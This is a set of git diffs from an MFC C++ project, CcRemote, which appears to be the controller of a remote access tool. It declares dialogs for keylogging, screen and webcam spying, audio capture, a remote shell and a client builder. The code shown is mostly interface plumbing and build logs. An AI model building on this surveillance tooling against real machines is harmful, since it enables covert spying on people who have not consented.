pContext->m_Dialog[1] = (int)dlg;
return 0;
}
LRESULT CCcRemoteDlg::OnRemoveFromList(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
if (pContext == NULL)
return -1;
// 删除链表过程中可能会删除Context
CString strIP;//选择断开的IP
try
{
int nCnt = m_CList_Online.GetItemCount();
for (int i = 0; i < nCnt; i++)
{
if (pContext == (ClientContext *)m_CList_Online.GetItemData(i))
{
strIP = m_CList_Online.GetItemText(i, ONLINELIST_IP);//获取断开的IP字符串
strIP += "下线";
ShowMessage(true, strIP);//显示日志// 更新当前连接总数
m_CList_Online.DeleteItem(i);
break;
}
}
// 关闭相关窗口
switch (pContext->m_Dialog[0])
{
case FILEMANAGER_DLG:
case SCREENSPY_DLG:
case WEBCAM_DLG:
case AUDIO_DLG:
case KEYBOARD_DLG:
case SYSTEM_DLG:
case SHELL_DLG:
//((CDialog*)pContext->m_Dialog[1])->SendMessage(WM_CLOSE);
((CDialog*)pContext->m_Dialog[1])->DestroyWindow();
break;
default:
break;
}
}
catch (...) {}
return 0;
}
//绘制背景图片
BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
//CDC MemDC; MemDC.CreateCompatibleDC(pDC);
//CBitmap Cbp;
//Cbp.LoadBitmap(IDB_BACKGROUND_CCREMOTE);
//MemDC.SelectObject(&Cbp);
//BITMAP Bp;
//Cbp.GetBitmap(&Bp);
//CRect rect;
//GetClientRect(&rect);
//pDC->StretchBlt(0, 0, rect.Width(), rect.Height(), &MemDC, 0, 0, Bp.bmWidth, Bp.bmHeight, SRCCOPY);
//MemDC.DeleteDC();
//return TRUE;
return CDialogEx::OnEraseBkgnd(pDC);
}
HBRUSH CCcRemoteDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
{
HBRUSH hbr = CDialogEx::OnCtlColor(pDC, pWnd, nCtlColor);
if (m_CList_Online.m_hWnd != NULL&& isOnlineIcoTrue == 0)
{
TCHAR szBuffer[_MAX_PATH];
VERIFY(::GetModuleFileName(AfxGetInstanceHandle(), szBuffer, _MAX_PATH));
CString sPath = (CString)szBuffer;
sPath = sPath.Left(sPath.ReverseFind('\\') + 1);
sPath += "res\\list_online_pic.bmp";
isOnlineIcoTrue = m_CList_Online.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义CListCtrl m_controllist1;
sPath.ReleaseBuffer();
// TODO: 如果默认的不是所需画笔,则返回另一个画笔
}
if (m_CList_Message.m_hWnd != NULL && isMessageIcoTrue == 0)
{
TCHAR szBuffer[_MAX_PATH];
VERIFY(::GetModuleFileName(AfxGetInstanceHandle(), szBuffer, _MAX_PATH));
CString sPath = (CString)szBuffer;
sPath = sPath.Left(sPath.ReverseFind('\\') + 1);
sPath += "res\\list_message_pic.bmp";
isMessageIcoTrue = m_CList_Message.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义CListCtrl m_controllist1;
sPath.ReleaseBuffer();
// TODO: 如果默认的不是所需画笔,则返回另一个画笔
}
if (nCtlColor == CTLCOLOR_STATIC)
{
pDC->SetTextColor(RGB(255, 255, 255));
pDC->SetBkMode(TRANSPARENT); //设置背景透明
return HBRUSH(GetStockObject(HOLLOW_BRUSH));
}
return hbr;
}

View File

@@ -7,6 +7,13 @@
#include "SEU_QQwry.h"
#include "CShellDlg.h"
#include "CSystemDlg.h"
#include "CScreenSpyDlg.h"
#include "CFileManagerDlg.h"
#include "CAudioDlg.h"
#include "CServerDlg.h"
#include "CKeyBoardDlg.h"
#include "CHelpWindow.h"
#include "CBuildDlg.h"
#pragma once
@@ -34,28 +41,39 @@ protected:
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnPaint();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg HCURSOR OnQueryDragIcon();
DECLARE_MESSAGE_MAP()
public:
CStatusBar m_wndStatusBar;//状态控件
CListCtrl m_CList_Online;//在线列表变量
CListCtrl m_CList_Message;//消息列表变量
CTrueColorToolBar m_ToolBar;//工具条按钮控件变量
afx_msg void OnSize(UINT nType, int cx, int cy);
private:
//--------------变量及常量----------------
SEU_QQwry *m_QQwry;
int m_OnlineCount;//上线计数
CBrush m_brush;//绘色函数
CMenu popup;//LIST菜单变量
NOTIFYICONDATA nid;//含有图标 消息响应 的一个结构体 用于系统托盘
CBitmap m_IconBitmap;
NOTIFYICONDATA nid; // 含有图标 消息响应 的一个结构体 用于系统托盘
CMenu popup; // LIST菜单变量
SEU_QQwry* m_QQwry; // 识别IP区域
CBrush m_brush; // 绘色函数
CTrueColorToolBar m_ToolBar; // 工具条按钮控件变量
CStatusBar m_wndStatusBar; // 状态控件
CListCtrl m_CList_Online; // 在线列表变量
CListCtrl m_CList_Message;// 消息列表变量
int m_OnlineCount; // 上线计数
#define COLUMN_ONLINE_COUNT 7 //在线列表的个数
#define COLUMN_MESSAGE_COUNT 3 //消息列表的个数
int m_Column_Online_Width = 0; //在线列表宽度和
int m_Column_Message_Width = 0; //消息列表的宽度和
CBitmap m_BitmapPicLogoA;
CStatic m_PicLogoA; // 左上角logo
bool isOnlineIcoTrue; // list背景是否已经加载
bool isMessageIcoTrue;
#define COLUMN_ONLINE_COUNT 7 // 在线列表的个数
#define COLUMN_MESSAGE_COUNT 3 // 消息列表的个数
int m_Column_Online_Width = 0; // 在线列表宽度和
int m_Column_Message_Width = 0; // 消息列表的宽度和
COLUMNSTRUCT m_Column_Online_Data[COLUMN_ONLINE_COUNT] =
{
@@ -75,30 +93,40 @@ private:
{"信息内容", 660 }
};
//-----------------------函数-----------------------
int InitList();//初始化list控件信息
int InitMyMenu();//初始化主页面上方菜单
void InitStatusBar();//初始化状态控件
void InitToolBar();//初始化工具条按钮控件
void InitSystemMenu();//初始化系统托盘菜单
void AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, ClientContext*pContext);
void ShowMessage(bool bIsOK, CString strMsg);//显示日志
void Test();
void Test();
int InitList(); // 初始化list控件信息
int InitMyMenu(); // 初始化主页面上方菜单
void InitStatusBar(); // 初始化状态控件
void InitToolBar(); // 初始化工具条按钮控件
void InitSystemMenu(); // 初始化系统托盘菜单
void ListenPort(); // 监听端口设置
void InitPic(); // 初始化界面图片
void Activate(UINT nPort, UINT nMaxConnections); // 监听端口
void ShowMessage(bool bIsOK, CString strMsg); // 显示日志
void ListenPort();
// 添加信息到列表
void AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, ClientContext*pContext);
// 接收到的数据的处理都要调用这个回调函数
static void CALLBACK NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode);
void Activate(UINT nPort, UINT nMaxConnections);//监听端口
// 控制命令都要经过这个函数
static void ProcessReceiveComplete(ClientContext *pContext);
public:
//-------------自定义消息处理-------------
afx_msg void OnIconNotify(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnAddToList(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenShellDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenSystemDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenManagerDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenAudioDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenServerDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenRegEditDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenKeyBoardDialog(WPARAM, LPARAM);
afx_msg LRESULT OnRemoveFromList(WPARAM, LPARAM);
//-------------系统消息处理-------------
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
@@ -119,4 +147,8 @@ public:
afx_msg void OnClose();
private:
void SendSelectCommand(PBYTE pData, UINT nSize);
public:
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);
};

View File

@@ -1,23 +1,3 @@
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.pch
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.pdb
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.idb
g:\ccremote\ccremote\ccremote\ccremote\debug\pch.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\cpuusage.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\iocpserver.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\buffer.obj
g:\ccremote\ccremote\ccremote\debug\ccremote.ilk
g:\ccremote\ccremote\ccremote\debug\ccremote.exe
g:\ccremote\ccremote\ccremote\debug\ccremote.pdb
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.res
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\cbuilddlg.obj.enc
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.res
f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe

View File

@@ -1,18 +1,93 @@
 pch.cpp
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
pch.cpp
Audio.cpp
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
CAudioDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CBuildDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(106): warning C4244: “=”: 从“ULONGLONG”转换到“DWORD”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(88): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(138): warning C4101: “e”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(142): warning C4101: “e”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(146): warning C4101: “e”: 未引用的局部变量
CcRemote.cpp
CcRemoteDlg.cpp
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(218): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(235): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(173): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(178): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(338): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(358): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(899): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(987): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CFileManagerDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(81): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(360): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(361): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(861): warning C4101: “VolName”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(862): warning C4101: “FileSystem”: 未引用的局部变量
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1123): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1153): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1571): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1605): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1647): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1741): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”可能丢失数据
CHelpWindow.cpp
CKeyBoardDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\ckeyboarddlg.cpp(27): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CServerDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cserverdlg.cpp(56): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
FileTransferModeDlg.cpp
CScreenSpyDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
CSettingDlg.cpp
CShellDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(204): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(214): warning C4018: “<”: 有符号/无符号不匹配
CSystemDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CpuUsage.cpp
IniFile.cpp
f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
InputDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(124): warning C4996: 'wcscpy': This function or variable may be unsafe. Consider using wcscpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\corecrt_wstring.h(123): note: 参见“wcscpy”的声明
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(159): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
RegDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(249): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(270): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
SEU_QQwry.cpp
TrueColorToolBar.cpp
正在生成代码...
Buffer.cpp
IOCPServer.cpp
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(129): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(715): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(764): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(910): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(727): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(776): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(924): warning C4018: “>=”: 有符号/无符号不匹配
正在生成代码...
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\Debug\CcRemote.exe
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe

Binary file not shown.

View File

@@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Debug|Win32|G:\CcRemote\CcRemote\CcRemote\|
Debug|Win32|F:\myapp\CcRemote\CcRemote\|

View File

@@ -0,0 +1,63 @@
// CInputDlg.cpp: 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "FileTransferModeDlg.h"
#include "afxdialogex.h"
// CFileTransferModeDlg 对话框
IMPLEMENT_DYNAMIC(CFileTransferModeDlg, CDialog)
CFileTransferModeDlg::CFileTransferModeDlg(CWnd* pParent /*=nullptr*/)
: CDialog(IDD_TRANSFERMODE_DLG, pParent)
{
}
CFileTransferModeDlg::~CFileTransferModeDlg()
{
}
void CFileTransferModeDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
}
BEGIN_MESSAGE_MAP(CFileTransferModeDlg, CDialog)
ON_CONTROL_RANGE(BN_CLICKED, IDC_OVERWRITE, IDC_CANCEL, OnEndDialog)
END_MESSAGE_MAP()
// CFileTransferModeDlg 消息处理程序
BOOL CFileTransferModeDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
CString str;
str.Format("此文件夹已包含一个名为“%s”的文件", m_strFileName);
for (int i = 0; i < str.GetLength(); i += 120)
{
str.Insert(i, "\n");
i += 1;
}
SetDlgItemText(IDC_TIPS, str);
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
//重写这个函数是因为让继承他的子类能够重载这个函数来判断id吧
void CFileTransferModeDlg::OnEndDialog(UINT id)
{
// TODO: Add your control notification handler code here
EndDialog(id);
}

View File

@@ -0,0 +1,27 @@
#pragma once
#include "resource.h"
// CFileTransferModeDlg 对话框
class CFileTransferModeDlg : public CDialog
{
DECLARE_DYNAMIC(CFileTransferModeDlg)
public:
CString m_strFileName;
CFileTransferModeDlg(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CFileTransferModeDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_TRANSFERMODE_DLG };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
afx_msg void OnEndDialog(UINT id);
virtual BOOL OnInitDialog();
DECLARE_MESSAGE_MAP()
public:
};

View File

@@ -0,0 +1,228 @@
////////////////////////////////////////////////////////////////
// MSDN Magazine -- June 2005
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
// Compiles with Visual Studio .NET 2003 (V7.1) on Windows XP. Tab size=3.
//
#include "pch.h"
#include "InputDlg.h"
#include "PublicStruct.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
//////////////////
// Note: Make sure nBufLen is big enough to hold your entire dialog template!
//
CDlgTemplateBuilder::CDlgTemplateBuilder(UINT nBufLen)
{
m_pBuffer = new WORD[nBufLen];
m_pNext = m_pBuffer;
m_pEndBuf = m_pNext + nBufLen;
}
CDlgTemplateBuilder::~CDlgTemplateBuilder()
{
delete [] m_pBuffer;
}
//////////////////
// Create template (DLGTEMPLATE)
//
DLGTEMPLATE* CDlgTemplateBuilder::Begin(DWORD dwStyle, const CRect& rc,
LPCTSTR text, DWORD dwStyleEx)
{
ASSERT(m_pBuffer==m_pNext); // call Begin first and only once!
DLGTEMPLATE* hdr = (DLGTEMPLATE*)m_pBuffer;
hdr->style = dwStyle; // copy style..
hdr->dwExtendedStyle = dwStyleEx; // ..and extended, too
hdr->cdit = 0; // number of items: zero
// Set dialog rectangle.
CRect rcDlg = rc;
hdr->x = (short)rcDlg.left;
hdr->y = (short)rcDlg.top;
hdr->cx = (short)rcDlg.Width();
hdr->cy = (short)rcDlg.Height();
// Append trailing items: menu, class, caption. I only use caption.
m_pNext = (WORD*)(hdr+1);
*m_pNext++ = 0; // menu (none)
*m_pNext++ = 0; // dialog class (use standard)
m_pNext = AddText(m_pNext, text); // append dialog caption
ASSERT(m_pNext < m_pEndBuf);
return hdr;
}
//////////////////
// Add dialog item (control).
//
void CDlgTemplateBuilder::AddItemTemplate(WORD wType, DWORD dwStyle,
const CRect& rc, WORD nID, DWORD dwStyleEx)
{
ASSERT(m_pNext < m_pEndBuf);
// initialize DLGITEMTEMPLATE
DLGITEMTEMPLATE& it = *((DLGITEMTEMPLATE*)AlignDWORD(m_pNext));
it.style = dwStyle;
it.dwExtendedStyle = dwStyleEx;
CRect rcDlg = rc;
it.x = (short)rcDlg.left;
it.y = (short)rcDlg.top;
it.cx = (short)rcDlg.Width();
it.cy = (short)rcDlg.Height();
it.id = nID;
// add class (none)
m_pNext = (WORD*)(&it+1);
*m_pNext++ = 0xFFFF; // next WORD is atom
*m_pNext++ = wType; // ..atom identifier
ASSERT(m_pNext < m_pEndBuf); // check not out of range
// increment control/item count
DLGTEMPLATE* hdr = (DLGTEMPLATE*)m_pBuffer;
hdr->cdit++;
}
//////////////////
// Add dialog item (control).
//
void CDlgTemplateBuilder::AddItem(WORD wType, DWORD dwStyle,
const CRect& rc, LPCTSTR text, WORD nID, DWORD dwStyleEx)
{
AddItemTemplate(wType, dwStyle, rc, nID, dwStyleEx);
m_pNext = AddText(m_pNext, text); // append title
*m_pNext++ = 0; // no creation data
ASSERT(m_pNext < m_pEndBuf);
}
//////////////////
// Add dialog item (control).
//
void CDlgTemplateBuilder::AddItem(WORD wType, DWORD dwStyle,
const CRect& rc, WORD wResID, WORD nID, DWORD dwStyleEx)
{
AddItemTemplate(wType, dwStyle, rc, nID, dwStyleEx);
*m_pNext++ = 0xFFFF; // next is resource id
*m_pNext++ = wResID; // ..here it is
*m_pNext++ = 0; // no extra stuff
ASSERT(m_pNext < m_pEndBuf);
}
//////////////////
// Append text to buffer. Convert to Unicode if necessary.
// Return pointer to next character after terminating NULL.
//
WORD* CDlgTemplateBuilder::AddText(WORD* buf, LPCTSTR text)
{
if (text) {
USES_CONVERSION;
wcscpy((WCHAR*)buf, T2W((LPTSTR)text));
buf += wcslen((WCHAR*)buf)+1;
} else {
*buf++ = 0;
}
return buf;
}
//////////////////
// Create string dialog. If no icon specified, use IDI_QUESTION. Note that
// the order in which the controls are added is the TAB order.
//
BOOL CInputDialog::Init(LPCTSTR caption, LPCTSTR prompt, CWnd* pParent, WORD nIDIcon)
{
const int CXDIALOG = 200; // dialog width
const int DLGMARGIN = 7; // margins all around
const int CYSTATIC = 8; // height of static text
const int CYEDIT = 12; // height of edit control
const int CYSPACE = 5; // vertical space between controls
const int CXBUTTON = 40; // button width...
const int CYBUTTON = 15; // ..and height
CDlgTemplateBuilder& dtb = m_dtb;
CRect rc(
CPoint(0,0),
CSize(CXDIALOG, CYSTATIC + CYEDIT + CYBUTTON + 2*DLGMARGIN + 2*CYSPACE));
// create dialog header
DLGTEMPLATE* pTempl = dtb.Begin(WS_POPUPWINDOW|DS_MODALFRAME|WS_DLGFRAME,rc,caption);
// shrink main rect by margins
rc.DeflateRect(CSize(DLGMARGIN,DLGMARGIN));
// create icon if needed
if (nIDIcon) {
if (nIDIcon >= (WORD)IDI_APPLICATION) {
// if using a system icon, I load it here and set it in OnInitDialog
// because can't specify system icon in template, only icons from
// application resource file.
m_hIcon = ::LoadIcon(NULL, MAKEINTRESOURCE(nIDIcon));
nIDIcon = 0;
} else {
m_hIcon = NULL;
}
// The size is calculated in pixels, but it seems to work OK--???
CSize sz(GetSystemMetrics(SM_CXICON),GetSystemMetrics(SM_CYICON));
CRect rcIcon(rc.TopLeft(), sz);
dtb.AddItem(CDlgTemplateBuilder::STATIC, // add icon
WS_VISIBLE|WS_CHILD|SS_LEFT|SS_ICON, rc, nIDIcon, IDICON);
rc.left += sz.cx; // shrink main rect by width of icon
}
// add prompt
rc.bottom = rc.top + CYSTATIC; // height = height of static
dtb.AddItem(CDlgTemplateBuilder::STATIC, // add it
WS_VISIBLE|WS_CHILD|SS_LEFT, rc, prompt);
